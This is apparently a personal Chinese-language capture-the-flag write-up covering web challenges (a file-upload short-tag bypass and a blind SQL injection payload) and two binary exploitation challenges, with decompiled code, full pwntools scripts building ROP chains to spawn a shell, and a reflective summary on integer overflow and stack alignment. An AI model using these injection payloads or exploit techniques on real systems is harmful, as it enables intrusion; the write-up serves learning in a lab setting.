菜
WEB
Ez to getflag
- 可以文件上传,并且上传文件必须为png图片,只检查文件文件名后缀
- 过滤
php
字符,采用短标签绕过。 - 在寻找文件路径时回显,
- 可能存在文件包含漏洞。
- 读取根目录下/flag。
- 被误导了,本来认为是文件上传,后来发现是文件读取?
赛后
绝对防御
- 打开,发现是一张静态图片
- 抓包,一堆js文件和图片,均在/static/目录下
- 寻找用户可控点,在js文件寻找web接口。官方给出
jsfinder
这个工具 - 找到
SUPPSERAPI.php
通过查看源代码发现在前端对id参数做了限制,sql注入然后绕过限制 - var reg = /[`~!@#$%^&*()_+<>?:"{},./;'[]]/im
- 直接盲注写脚本
id=1 and ascii(substr((select database()),1,1))>12
PWN
- checksec
ez_for
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-38h] BYREF
char buf[36]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed; // [rsp+34h] [rbp-Ch]
int i; // [rsp+38h] [rbp-8h]
int v8; // [rsp+3Ch] [rbp-4h]
init(argc, argv, envp);
puts("go");
seed = 10;
read(0, buf, 0x30uLL);
srand(seed);
v8 = 0;
for ( i = 0; i <= 3; ++i )
{
puts("message:");
__isoc99_scanf("%ld", buf);
if ( (char *)rand() != buf )
++v8;
}
if ( v8 == 4 )
__isoc99_scanf("%ld", &v4);
return vul((unsigned int)v4);
}
//vul
int __fastcall vul(unsigned int a1)
{
int result; // eax
char nbytes[52]; // [rsp+Ch] [rbp-34h] BYREF
result = system("date");
if ( (int)a1 <= 47 )
{
read(0, &nbytes[4], a1);
return (unsigned int)strncpy(buf, &nbytes[4], 0x200uLL);
}
return result;
}
- 整数溢出,v4在main中定义为
int64
在vul中却是unsigned int
,输入负数时符号位的存在导致数值变大,read的数更大。 - 所以存在栈溢出,
有system,无/bin/sh
- srand(seed伪随机数)
- 利用思路·
先绕过随机数比较
传入负数,整数溢出,由于比较时是int a1,传入为unsigned a1,就是可以通过比较并传入一个较大数据
写入payload,覆盖返回地址,同时写后门,复制到buf段,也就是我们的参数地址
from pwn import *
context(log_level="debug",arch="amd64")
io = process("./pwn4")
elf = ELF("./pwn4")
io.sendlineafter(b"go\n",b"1")
for i in range(4): #满足不等于
io.sendlineafter(b"message:",b"1")
#v4的整数型溢出
io.sendline(b"-1")
#payload构造
sys_plt = elf.plt['system']
#ROPgadget --binary "pwn4" --only "pop|ret"
rdi_addr = 0x400983
#bss段的buf地址
buf_addr = 0x06010C0
shell = b'/bin/sh\x00'
#溢出长度,由于输出是char byte[4]
payload = shell.ljust(0x38,b"a")
#错了几次后想到考虑栈对齐
#ROPgadget --binary "pwn4" --only "ret"
ret_addr = 0x40063e
payload += p64(ret_addr)+p64(rdi_addr)+p64(buf_addr)+p64(sys_plt)
io.sendline(payload)
io.interactive()
Mycanary2
- checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 反汇编
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
rand_fd();
start_main(a1, a2);
return 0LL;
}
rand_fd
unsigned int rand_fd()
{
int v0; // eax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
printf("can't open /dev/urandom");
exit(-1);
}
read(fd, &qword_4040D0, 8uLL);
close(fd);
v0 = time(0LL);
srand(v0 ^ qword_4040D0);
return alarm(0x14u);
}
//vul_func
__int64 start_main()
{
__int64 result; // rax
char buf[88]; // [rsp+0h] [rbp-70h] BYREF
__int64 v2; // [rsp+58h] [rbp-18h]
int v3; // [rsp+68h] [rbp-8h]
int v4; // [rsp+6Ch] [rbp-4h]
v4 = 0;
qword_4040D0 = (__int64)rand() << 32; //左移32位
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("I have a secret. Can you find it?");
while ( !v4 )
{
menu();
v3 = input_num();
switch ( v3 )
{
case 2:
printf("My secret is %016lx\n", qword_4040D0);
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand(); // 随机数读取后会变成一个随机数
v2 = qword_4040D0;
printf("But now, I have a new Secret.");
break;
case 3:
v4 = 1;
break;
case 1:
puts("Show me the code:");
read(0, buf, 0x100uLL);
break;
}
}
result = qword_4040D0;
if ( v2 != qword_4040D0 )
{
printf("Hey, What are you doing?");
exit(0);
}
return result;
}
- 程序分析
在存在漏洞的函数中,我们输入一个数字
1.输入最大长度为0x100的数据 --- 栈溢出
2.将随机数v2赋值为另一个随机数 --- 打印出随机数,但是会变化成另一个随机数
3.v4=1,退出程序
- 利用思路:因为随机数
qword_4040d0
在bss段,我们没有办法修改这个数。我们可以先覆盖返回地址,在输入2重新对v2赋值,这样v2==qword_4040d0是成立的
。同时,覆盖时确保v4==0
(v4地址在var_4) - 存在后门函数,通过寻找
/bin/sh
找到大致位置,在汇编中寻找
from pwn import *
io = process("./MyCanary2")
context(arch="amd64",log_level="debug")
shell_addr = 0x401573
#考虑栈对齐
ret_addr = 0x40101a
#因为要确保v4==0,所以直接使用\x00覆盖
payload = b"\x00"*(0x70+8)+p64(ret_addr)+p64(shell_addr)
#或者精确一点
#payload=(0x70-8)*b'a'+p64(0)+b"a"*0x8+p64(ret_addr)+p64(shell_addr)
io.sendlineafter(b"Input your choice\n",b"1")
io.sendline(payload)
io.sendlineafter(b"Input your choice\n",b"2")
io.sendlineafter(b"Input your choice\n",b"3")
io.interactive()
- 官方答案对rand()函数源码进行了分析并对随机数进行推断。并且只
输入了1(覆盖原数值),3(退出)两个数
,这可能是官方真正要考察的点。
赛后总结
水平可以说是非常菜
希望自己能放平心态,慢慢分析,不要急躁。
目的是通过比赛学习到什么,慢慢质变。
- 对整数型溢出理解
(unsigned) int
那个unsigned 会将负数的符号位当作数据计算,从而导致一个负数可能非常大 - 堆栈平衡的考虑,栈为0x10的整数倍,加入一个返回地址。
本文含有隐藏内容,请 开通VIP 后查看